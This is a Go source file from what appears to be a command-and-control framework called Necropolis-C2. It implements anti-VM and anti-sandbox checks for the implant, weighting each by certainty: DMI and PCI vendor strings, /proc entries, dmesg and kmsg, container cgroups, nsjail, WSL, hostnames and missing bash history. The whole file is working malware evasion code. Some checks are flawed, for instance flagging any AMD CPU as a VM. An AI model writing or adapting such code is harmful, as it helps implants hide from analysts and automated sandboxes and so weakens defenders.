Files
Necropolis-C2/implant/core/antivm_linux.go
T
2026-07-07 04:50:23 +01:00

530 lines
12 KiB
Go

//go:build antivm && linux
package core
import (
"os"
"path/filepath"
"strings"
"syscall"
)
func init() {
registerLinuxChecks()
}
func registerLinuxChecks() {
// 100% certainty
registerCheck("firmware_dmi", firmwareDMI, 100)
// 95% certainty
registerCheck("devices_pci", devicesPCI, 95)
// 80% certainty
registerCheck("uml_cpu", umlCPU, 80)
registerCheck("kgt_signature", kgtSignature, 80)
// 75% certainty
registerCheck("nsjail_pid", nsjailPID, 75)
// 70% certainty
registerCheck("vmware_ioports", vmwareIOPorts, 70)
registerCheck("cgroup", cgroupVM, 70)
registerCheck("qemu_fw_cfg", qemuFWCfg, 70)
// 65% certainty
registerCheck("dmi_product", dmiProduct, 65)
registerCheck("dmi_sys_vendor", dmiSysVendor, 65)
registerCheck("dmi_chassis_vendor", dmiChassisVendor, 65)
registerCheck("vmware_iomem", vmwareIOMEM, 65)
registerCheck("vmware_dmesg", vmwareDMESG, 65)
// 55% certainty
registerCheck("dmidecode", dmidecodeCheck, 55)
registerCheck("dmesg", dmesgCheck, 55)
// 50% certainty
registerCheck("dmi_scan", dmiScan, 50)
registerCheck("smbios_vm_bit", smbiosVMBit, 50)
registerCheck("thread_mismatch_linux", threadMismatchLinux, 50)
registerCheck("amd_sev_msr", amdSEVMSR, 50)
// 40% certainty
registerCheck("vmware_scsi", vmwareSCSI, 40)
registerCheck("qemu_virtual_dmi", qemuVirtualDMI, 40)
registerCheck("processes_linux", processesLinux, 40)
// 35% certainty
registerCheck("systemd_virt", systemdVirt, 35)
registerCheck("hwmon", hwmonMissing, 35)
// 30% certainty
registerCheck("wsl_proc", wslProc, 30)
// 20% certainty
registerCheck("hypervisor_dir", hypervisorDir, 20)
registerCheck("temperature", temperatureCheck, 20)
registerCheck("qemu_usb", qemuUSB, 20)
registerCheck("ctype", dmiChassisType, 20)
// 15% certainty
registerCheck("vbox_module", vboxModule, 15)
registerCheck("sysinfo_proc", sysinfoProc, 15)
registerCheck("file_access_history", fileAccessHistory, 15)
// 10% certainty
registerCheck("linux_user_host", linuxUserHost, 10)
// 5% certainty
registerCheck("podman_file", podmanFile, 5)
registerCheck("bluestacks", bluestacksFolders, 5)
registerCheck("kmsg", kmsgCheck, 5)
}
// --- Linux 100% ---
func firmwareDMI() bool {
// Check all DMI entries for VM signatures
dirs := []string{
"/sys/class/dmi/id",
"/sys/devices/virtual/dmi/id",
}
vmBrands := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek",
"xen", "bochs", "hyper-v", "microsoft", "oracle", "oem"}
for _, d := range dirs {
entries, err := os.ReadDir(d)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
data, err := os.ReadFile(filepath.Join(d, e.Name()))
if err != nil {
continue
}
content := strings.ToLower(string(data))
for _, brand := range vmBrands {
if strings.Contains(content, brand) {
return true
}
}
}
}
return false
}
// --- Linux 95% ---
func devicesPCI() bool {
entries, err := os.ReadDir("/sys/bus/pci/devices")
if err != nil {
return false
}
// VM vendors: 8086 (Intel), 15ad (VMware), 80ee (VirtualBox),
// 1af4 (Red Hat/QEMU), 10de (NVIDIA in passthrough)
vmVendors := []string{"15ad", "80ee", "1af4"}
for _, e := range entries {
vendorFile := filepath.Join("/sys/bus/pci/devices", e.Name(), "vendor")
data, err := os.ReadFile(vendorFile)
if err != nil {
continue
}
vendor := strings.TrimSpace(string(data))
for _, v := range vmVendors {
if strings.Contains(strings.ToLower(vendor), v) {
return true
}
}
}
return false
}
// --- Linux 80% ---
func umlCPU() bool {
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "UML")
}
func kgtSignature() bool {
content := readFile("/proc/cpuinfo")
return strings.Contains(content, "Intel KGT") || strings.Contains(content, "TGKIntel")
}
// --- Linux 75% ---
func nsjailPID() bool {
content := readFile("/proc/self/status")
if content == "" {
return false
}
// nsjail makes processes see PID 1 in the namespace
for _, line := range strings.Split(content, "\n") {
if strings.HasPrefix(line, "Pid:") {
parts := strings.Fields(line)
if len(parts) >= 2 && parts[1] == "1" {
// Check if nsjail env vars are present
if os.Getenv("NSJAIL") != "" {
return true
}
// Check cgroup for nsjail
cg := readFile("/proc/self/cgroup")
return strings.Contains(cg, "nsjail")
}
}
}
return false
}
// --- Linux 70% ---
func vmwareIOPorts() bool {
return strings.Contains(readFile("/proc/ioports"), "VMware")
}
func cgroupVM() bool {
content := readFile("/proc/1/cgroup")
if content == "" {
return false
}
for _, s := range []string{"docker", "lxc", "kubepods"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
func qemuFWCfg() bool {
if _, err := os.Stat("/sys/firmware/qemu_fw_cfg"); err == nil {
return true
}
if _, err := os.Stat("/proc/device-tree/fw-cfg"); err == nil {
return true
}
return false
}
// --- Linux 65% ---
func dmiProduct() bool {
name := readFile("/sys/class/dmi/id/product_name")
switch {
case strings.Contains(name, "VirtualBox"):
return true
case strings.Contains(name, "VMware"):
return true
case name == "KVM" || name == "QEMU":
return true
case strings.Contains(name, "Bochs"):
return true
case strings.Contains(name, "Hyper-V"):
return true
}
return false
}
func dmiSysVendor() bool {
vendor := readFile("/sys/class/dmi/id/sys_vendor")
switch {
case strings.Contains(vendor, "innotek"):
return true
case strings.Contains(vendor, "Xen"):
return true
case strings.Contains(vendor, "Microsoft"):
return true
case strings.Contains(vendor, "QEMU"):
return true
}
return false
}
func dmiChassisVendor() bool {
vendor := readFile("/sys/class/dmi/id/chassis_vendor")
return strings.Contains(vendor, "Oracle") || strings.Contains(vendor, "innotek")
}
func vmwareIOMEM() bool {
return strings.Contains(readFile("/proc/iomem"), "VMware")
}
func vmwareDMESG() bool {
content := readFile("/var/log/dmesg")
if content == "" {
content = readFile("/var/log/kern.log")
}
return strings.Contains(content, "VMware") || strings.Contains(content, "vmware")
}
// --- Linux 55% ---
func dmidecodeCheck() bool {
// Check all DMI sysfs files for VM brands
entries, err := os.ReadDir("/sys/class/dmi/id")
if err != nil {
return false
}
patterns := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek", "xen", "bochs"}
for _, e := range entries {
if e.IsDir() {
continue
}
data, err := os.ReadFile(filepath.Join("/sys/class/dmi/id", e.Name()))
if err != nil {
continue
}
content := strings.ToLower(string(data))
for _, p := range patterns {
if strings.Contains(content, p) {
return true
}
}
}
return false
}
func dmesgCheck() bool {
content := readFile("/var/log/dmesg")
if content == "" {
return false
}
for _, s := range []string{"Hypervisor", "VMware", "VirtualBox", "QEMU", "KVM", "Xen"} {
if strings.Contains(content, s) {
return true
}
}
return false
}
// --- Linux 50% ---
func dmiScan() bool {
return firmwareDMI()
}
func smbiosVMBit() bool {
// Check /sys/firmware/dmi/tables for SMBIOS entry point
data, err := os.ReadFile("/sys/firmware/dmi/tables/smbios_entry_point")
if err != nil {
return false
}
// SMBIOS v3+ has a VM bit at offset 0x09
if len(data) >= 0x1F {
if data[0x1E]&0x01 != 0 {
return true
}
}
return false
}
func threadMismatchLinux() bool {
cpuContent := readFile("/proc/cpuinfo")
if cpuContent == "" {
return false
}
n := 0
for _, line := range strings.Split(cpuContent, "\n") {
if strings.HasPrefix(line, "processor") {
n++
}
}
// If we see CPU brand but low core count, likely VM
if n < 2 && strings.Contains(cpuContent, "Intel") || strings.Contains(cpuContent, "AMD") {
return true
}
return false
}
func amdSEVMSR() bool {
// Check /sys/kernel/security/sev for AMD SEV/SEV-ES/SEV-SNP
if data, err := os.ReadFile("/sys/kernel/security/sev/version"); err == nil {
return strings.TrimSpace(string(data)) != ""
}
// Also check MSR via /dev/cpu (requires root)
data, err := os.ReadFile("/dev/cpu/0/msr")
if err != nil {
return false
}
if len(data) > 0x800 {
_ = data[0x800]
}
return false
}
// --- Linux 40% ---
func vmwareSCSI() bool {
return strings.Contains(readFile("/proc/scsi/scsi"), "VMware")
}
func qemuVirtualDMI() bool {
content := readFile("/sys/devices/virtual/dmi/id/product_name")
if strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "VirtualBox") {
return true
}
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
return strings.Contains(vendor, "QEMU")
}
func processesLinux() bool {
vmProcs := []string{"vbox", "vmware", "VBox", "VMware", "qemu", "QEMU", "xen", "Xen"}
entries, err := os.ReadDir("/proc")
if err != nil {
return false
}
for _, e := range entries {
if !e.IsDir() {
continue
}
// Only check numeric directories (process PIDs)
if e.Name()[0] < '0' || e.Name()[0] > '9' {
continue
}
cmdline, err := os.ReadFile(filepath.Join("/proc", e.Name(), "comm"))
if err != nil {
continue
}
comm := strings.TrimSpace(string(cmdline))
for _, p := range vmProcs {
if strings.EqualFold(comm, p) {
return true
}
}
}
return false
}
// --- Linux 35% ---
func systemdVirt() bool {
// Check /sys/devices/virtual/dmi/id for VM indicators
// In containers, /sys might not have DMI info
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
if vendor == "" {
// No DMI info — likely container
return cgroupVM() || dockerEnv()
}
return strings.Contains(vendor, "QEMU") || strings.Contains(vendor, "Xen")
}
func hwmonMissing() bool {
_, err := os.ReadDir("/sys/class/hwmon")
return err != nil
}
// --- Linux 30% ---
func wslProc() bool {
version := readFile("/proc/version")
if strings.Contains(version, "Microsoft") || strings.Contains(version, "WSL") || strings.Contains(version, "microsoft") {
return true
}
osrelease := readFile("/proc/sys/kernel/osrelease")
return strings.Contains(osrelease, "Microsoft") || strings.Contains(osrelease, "WSL")
}
// --- Linux 20% ---
func hypervisorDir() bool {
entries, err := os.ReadDir("/sys/hypervisor")
if err != nil {
return false
}
return len(entries) > 0
}
func temperatureCheck() bool {
entries, err := os.ReadDir("/sys/class/thermal")
if err != nil {
return true // no thermal info = likely VM
}
return len(entries) < 2
}
func qemuUSB() bool {
data, err := os.ReadFile("/sys/kernel/debug/usb/devices")
if err != nil {
return false
}
return strings.Contains(string(data), "QEMU")
}
func dmiChassisType() bool {
typ := readFile("/sys/class/dmi/id/chassis_type")
return typ == "" || typ == "0"
}
// --- Linux 15% ---
func vboxModule() bool {
content := readFile("/proc/modules")
return strings.Contains(content, "vbox")
}
func sysinfoProc() bool {
content := readFile("/proc/sysinfo")
return strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "Xen")
}
func fileAccessHistory() bool {
// Check if there's very low file access history (common in fresh VMs)
_, err := os.Stat("/root/.bash_history")
hasHistory := err == nil
_, err2 := os.Stat("/home")
hasHome := err2 == nil
return hasHome && !hasHistory
}
// --- Linux 10% ---
func linuxUserHost() bool {
hostname := readFile("/proc/sys/kernel/hostname")
if hostname == "" {
return false
}
lower := strings.ToLower(hostname)
for _, s := range []string{"ubuntu", "debian", "localhost"} {
if lower == s || strings.HasPrefix(lower, s+"-") {
return true
}
}
return false
}
// --- Linux 5% ---
func podmanFile() bool {
_, err := os.Stat("/run/.containerenv")
return err == nil
}
func bluestacksFolders() bool {
entries, err := os.ReadDir("/mnt")
if err != nil {
return false
}
for _, e := range entries {
if strings.Contains(strings.ToLower(e.Name()), "bluestacks") {
return true
}
}
return false
}
func kmsgCheck() bool {
f, err := os.OpenFile("/dev/kmsg", syscall.O_RDONLY|syscall.O_NONBLOCK, 0)
if err != nil {
return false
}
defer f.Close()
buf := make([]byte, 4096)
n, err := f.Read(buf)
if err != nil || n == 0 {
return false
}
content := strings.ToLower(string(buf[:n]))
return strings.Contains(content, "hypervisor") || strings.Contains(content, "kvm")
}